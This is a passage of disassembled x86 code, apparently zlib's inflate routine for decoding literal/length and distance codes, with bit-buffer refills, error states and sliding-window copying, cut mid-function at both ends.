		mov	eax, [ebp+var_18]
		mov	[edx+0Ch], eax
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_14]
		lea	ecx, [eax+edx*8]
		mov	edx, [ebp+var_10]
		mov	[edx+8], ecx
		jmp	loc_4C70C8
; ---------------------------------------------------------------------------


loc_4C66D4:				; CODE XREF: sub_4C63A5+30Dj
		mov	eax, [ebp+var_18]
		and	eax, 20h
		test	eax, eax
		jz	short loc_4C66EC
		mov	ecx, [ebp+var_10]
		mov	dword ptr [ecx], 7
		jmp	loc_4C70C8
; ---------------------------------------------------------------------------


loc_4C66EC:				; CODE XREF: sub_4C63A5+337j
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 9
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+18h], offset aInvalidLiteral ; "invalid literal/length code"
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_24]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C70CD
; ---------------------------------------------------------------------------


loc_4C6761:				; CODE XREF: sub_4C63A5+8Bj
					; DATA XREF: .text:004C70D9o
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+8]
		mov	[ebp+var_20], edx


loc_4C676A:				; CODE XREF: sub_4C63A5+46Aj
		mov	eax, [ebp+var_24]
		cmp	eax, [ebp+var_20]
		jnb	loc_4C6814
		cmp	[ebp+var_2C], 0
		jz	short loc_4C6785
		mov	[ebp+arg_8], 0
		jmp	short loc_4C67E0
; ---------------------------------------------------------------------------


loc_4C6785:				; CODE XREF: sub_4C63A5+3D5j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_24]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C70CD
; ---------------------------------------------------------------------------


loc_4C67E0:				; CODE XREF: sub_4C63A5+3DEj
		mov	ecx, [ebp+var_2C]
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_24]
		shl	eax, cl
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_24]
		add	eax, 8
		mov	[ebp+var_24], eax
		jmp	loc_4C676A
; ---------------------------------------------------------------------------


loc_4C6814:				; CODE XREF: sub_4C63A5+3CBj
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_C]
		and	edx, dword_4EF200[ecx*4]
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+4]
		add	ecx, edx
		mov	edx, [ebp+var_10]
		mov	[edx+4], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_24]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_10]
		xor	eax, eax
		mov	al, [edx+11h]
		mov	ecx, [ebp+var_10]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+18h]
		mov	[edx+8], ecx
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 3


loc_4C6866:				; CODE XREF: sub_4C63A5+8Bj
					; DATA XREF: .text:004C70DDo
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+0Ch]
		mov	[ebp+var_20], ecx


loc_4C686F:				; CODE XREF: sub_4C63A5+56Fj
		mov	edx, [ebp+var_24]
		cmp	edx, [ebp+var_20]
		jnb	loc_4C6919
		cmp	[ebp+var_2C], 0
		jz	short loc_4C688A
		mov	[ebp+arg_8], 0
		jmp	short loc_4C68E5
; ---------------------------------------------------------------------------


loc_4C688A:				; CODE XREF: sub_4C63A5+4DAj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_24]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_2C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C70CD
; ---------------------------------------------------------------------------


loc_4C68E5:				; CODE XREF: sub_4C63A5+4E3j
		mov	eax, [ebp+var_2C]
		sub	eax, 1
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, [ebp+var_24]
		shl	edx, cl
		mov	eax, [ebp+var_C]
		or	eax, edx
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_24]
		add	edx, 8
		mov	[ebp+var_24], edx
		jmp	loc_4C686F
; ---------------------------------------------------------------------------


loc_4C6919:				; CODE XREF: sub_4C63A5+4D0j
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_C]
		and	ecx, dword_4EF200[eax*4]
		mov	edx, [ebp+var_10]
		mov	eax, [edx+8]
		lea	ecx, [eax+ecx*8]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_14]
		xor	eax, eax
		mov	al, [edx+1]
		mov	ecx, eax
		mov	edx, [ebp+var_C]
		shr	edx, cl
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_24]
		sub	edx, ecx
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_14]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_18]
		and	edx, 10h
		test	edx, edx
		jz	short loc_4C698E
		mov	eax, [ebp+var_18]
		and	eax, 0Fh
		mov	ecx, [ebp+var_10]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+4]
		mov	[edx+0Ch], ecx
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 4
		jmp	loc_4C70C8
; ---------------------------------------------------------------------------


loc_4C698E:				; CODE XREF: sub_4C63A5+5C1j
		mov	eax, [ebp+var_18]
		and	eax, 40h
		test	eax, eax
		jnz	short loc_4C69B8
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_18]
		mov	[ecx+0Ch], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_14]
		lea	eax, [edx+ecx*8]
		mov	ecx, [ebp+var_10]
		mov	[ecx+8], eax
		jmp	loc_4C70C8
; ---------------------------------------------------------------------------


loc_4C69B8:				; CODE XREF: sub_4C63A5+5F1j
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 9
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+18h], offset aInvalidDistanc ; "invalid distance	code"
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_24]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C70CD
; ---------------------------------------------------------------------------


loc_4C6A2D:				; CODE XREF: sub_4C63A5+8Bj
					; DATA XREF: .text:004C70E1o
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+8]
		mov	[ebp+var_20], edx


loc_4C6A36:				; CODE XREF: sub_4C63A5+736j
		mov	eax, [ebp+var_24]
		cmp	eax, [ebp+var_20]
		jnb	loc_4C6AE0
		cmp	[ebp+var_2C], 0
		jz	short loc_4C6A51
		mov	[ebp+arg_8], 0
		jmp	short loc_4C6AAC
; ---------------------------------------------------------------------------


loc_4C6A51:				; CODE XREF: sub_4C63A5+6A1j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_24]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C70CD
; ---------------------------------------------------------------------------


loc_4C6AAC:				; CODE XREF: sub_4C63A5+6AAj
		mov	ecx, [ebp+var_2C]
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_24]
		shl	eax, cl
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_24]
		add	eax, 8
		mov	[ebp+var_24], eax
		jmp	loc_4C6A36
; ---------------------------------------------------------------------------


loc_4C6AE0:				; CODE XREF: sub_4C63A5+697j
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_C]
		and	edx, dword_4EF200[ecx*4]
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+0Ch]
		add	ecx, edx
		mov	edx, [ebp+var_10]
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_24]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 5


loc_4C6B18:				; CODE XREF: sub_4C63A5+8Bj
					; DATA XREF: .text:004C70E5o
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		sub	ecx, [eax+0Ch]
		mov	[ebp+var_1C], ecx


loc_4C6B24:				; CODE XREF: sub_4C63A5+79Ej
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_1C]
		cmp	eax, [edx+28h]
		jnb	short loc_4C6B45
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		mov	eax, [ecx+2Ch]
		sub	eax, [edx+28h]
		mov	ecx, [ebp+var_1C]
		add	ecx, eax
		mov	[ebp+var_1C], ecx
		jmp	short loc_4C6B24
; ---------------------------------------------------------------------------


loc_4C6B45:				; CODE XREF: sub_4C63A5+788j
					; sub_4C63A5+968j
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx+4], 0
		jz	loc_4C6D12
		cmp	[ebp+var_28], 0
		jnz	loc_4C6CBE
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+2Ch]
		jnz	short loc_4C6BAC
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [edx+30h]
		cmp	ecx, [eax+28h]
		jz	short loc_4C6BAC
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+28h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+30h]
		jnb	short loc_4C6B9A
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		sub	ecx, [ebp+var_8]
		sub	ecx, 1
		mov	[ebp+var_3C], ecx
		jmp	short loc_4C6BA6
; ---------------------------------------------------------------------------


loc_4C6B9A:				; CODE XREF: sub_4C63A5+7E2j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_3C], eax


loc_4C6BA6:				; CODE XREF: sub_4C63A5+7F3j
		mov	ecx, [ebp+var_3C]
		mov	[ebp+var_28], ecx


loc_4C6BAC:				; CODE XREF: sub_4C63A5+7C0j
					; sub_4C63A5+7CEj
		cmp	[ebp+var_28], 0
		jnz	loc_4C6CBE
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C7C50
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+34h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+30h]
		jnb	short loc_4C6BFB
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		sub	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_40], eax
		jmp	short loc_4C6C07
; ---------------------------------------------------------------------------


loc_4C6BFB:				; CODE XREF: sub_4C63A5+843j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		sub	edx, [ebp+var_8]
		mov	[ebp+var_40], edx


loc_4C6C07:				; CODE XREF: sub_4C63A5+854j
		mov	eax, [ebp+var_40]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+2Ch]
		jnz	short loc_4C6C5D
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+30h]
		cmp	edx, [ecx+28h]
		jz	short loc_4C6C5D
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		cmp	eax, [edx+30h]
		jnb	short loc_4C6C4B
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		sub	edx, [ebp+var_8]
		sub	edx, 1
		mov	[ebp+var_44], edx
		jmp	short loc_4C6C57
; ---------------------------------------------------------------------------


loc_4C6C4B:				; CODE XREF: sub_4C63A5+893j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2Ch]
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_44], ecx


loc_4C6C57:				; CODE XREF: sub_4C63A5+8A4j
		mov	edx, [ebp+var_44]
		mov	[ebp+var_28], edx


loc_4C6C5D:				; CODE XREF: sub_4C63A5+871j
					; sub_4C63A5+87Fj
		cmp	[ebp+var_28], 0
		jnz	short loc_4C6CBE
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_24]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_2C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C70CD
; ---------------------------------------------------------------------------


loc_4C6CBE:				; CODE XREF: sub_4C63A5+7B1j
					; sub_4C63A5+80Bj ...
		mov	[ebp+arg_8], 0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_1C]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_28]
		sub	edx, 1
		mov	[ebp+var_28], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_1C]
		cmp	ecx, [eax+2Ch]
		jnz	short loc_4C6CFE
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+28h]
		mov	[ebp+var_1C], eax


loc_4C6CFE:				; CODE XREF: sub_4C63A5+94Ej
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+var_10]
		mov	[eax+4], edx
		jmp	loc_4C6B45
; ---------------------------------------------------------------------------


loc_4C6D12:				; CODE XREF: sub_4C63A5+7A7j
		mov	ecx, [ebp+var_10]
		mov	dword ptr [ecx], 0
		jmp	loc_4C70C8
; ---------------------------------------------------------------------------


loc_4C6D20:				; CODE XREF: sub_4C63A5+8Bj
					; DATA XREF: .text:004C70E9o
		cmp	[ebp+var_28], 0
		jnz	loc_4C6E8C
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		cmp	eax, [edx+2Ch]
		jnz	short loc_4C6D7A
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		mov	eax, [ecx+30h]
		cmp	eax, [edx+28h]
		jz	short loc_4C6D7A
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+28h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+30h]
		jnb	short loc_4C6D68
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		sub	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_48], eax
		jmp	short loc_4C6D74
; ---------------------------------------------------------------------------


loc_4C6D68:				; CODE XREF: sub_4C63A5+9B0j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		sub	edx, [ebp+var_8]
		mov	[ebp+var_48], edx


loc_4C6D74:				; CODE XREF: sub_4C63A5+9C1j
		mov	eax, [ebp+var_48]
		mov	[ebp+var_28], eax


loc_4C6D7A:				; CODE XREF: sub_4C63A5+98Ej
					; sub_4C63A5+99Cj
		cmp	[ebp+var_28], 0
		jnz	loc_4C6E8C
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C7C50
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+34h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		cmp	eax, [edx+30h]
		jnb	short loc_4C6DC9
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		sub	edx, [ebp+var_8]
		sub	edx, 1
		mov	[ebp+var_4C], edx
		jmp	short loc_4C6DD5
; ---------------------------------------------------------------------------


loc_4C6DC9:				; CODE XREF: sub_4C63A5+A11j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2Ch]
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_4C], ecx


loc_4C6DD5:				; CODE XREF: sub_4C63A5+A22j
		mov	edx, [ebp+var_4C]
		mov	[ebp+var_28], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+2Ch]
		jnz	short loc_4C6E2B
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [edx+30h]
		cmp	ecx, [eax+28h]
		jz	short loc_4C6E2B
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+28h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+30h]
		jnb	short loc_4C6E19
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		sub	ecx, [ebp+var_8]
		sub	ecx, 1
		mov	[ebp+var_50], ecx
		jmp	short loc_4C6E25
; ---------------------------------------------------------------------------


loc_4C6E19:				; CODE XREF: sub_4C63A5+A61j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_50], eax


loc_4C6E25:				; CODE XREF: sub_4C63A5+A72j
		mov	ecx, [ebp+var_50]
		mov	[ebp+var_28], ecx


loc_4C6E2B:				; CODE XREF: sub_4C63A5+A3Fj
					; sub_4C63A5+A4Dj
		cmp	[ebp+var_28], 0
		jnz	short loc_4C6E8C
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_24]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_2C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C70CD
; ---------------------------------------------------------------------------


loc_4C6E8C:				; CODE XREF: sub_4C63A5+97Fj
					; sub_4C63A5+9D9j ...
		mov	[ebp+arg_8], 0
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_10]
		mov	cl, [eax+8]
		mov	[edx], cl
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_28]
		sub	eax, 1
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_10]
		mov	dword ptr [ecx], 0
		jmp	loc_4C70C8
; ---------------------------------------------------------------------------


loc_4C6EBE:				; CODE XREF: sub_4C63A5+8Bj
					; DATA XREF: .text:004C70EDo
		cmp	[ebp+var_24], 7
		jbe	short loc_4C6EDF
		mov	edx, [ebp+var_24]
		sub	edx, 8
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_2C]
		add	eax, 1
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_4C6EDF:				; CODE XREF: sub_4C63A5+B1Dj
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C7C50
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+34h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+30h]
		jnb	short loc_4C6F24
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		sub	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_54], eax
		jmp	short loc_4C6F30
; ---------------------------------------------------------------------------


loc_4C6F24:				; CODE XREF: sub_4C63A5+B6Cj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		sub	edx, [ebp+var_8]
		mov	[ebp+var_54], edx


loc_4C6F30:				; CODE XREF: sub_4C63A5+B7Dj
		mov	eax, [ebp+var_54]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		mov	eax, [ecx+30h]
		cmp	eax, [edx+34h]
		jz	short loc_4C6F9F
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_24]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C70CD
; ---------------------------------------------------------------------------


loc_4C6F9F:				; CODE XREF: sub_4C63A5+B9Dj
		mov	ecx, [ebp+var_10]
		mov	dword ptr [ecx], 8


loc_4C6FA8:				; CODE XREF: sub_4C63A5+8Bj
					; DATA XREF: .text:004C70F1o
		mov	[ebp+arg_8], 1
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_24]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_2C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C70CD
; ---------------------------------------------------------------------------


loc_4C700A:				; CODE XREF: sub_4C63A5+8Bj
					; DATA XREF: .text:004C70F5o
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_24]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_2C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
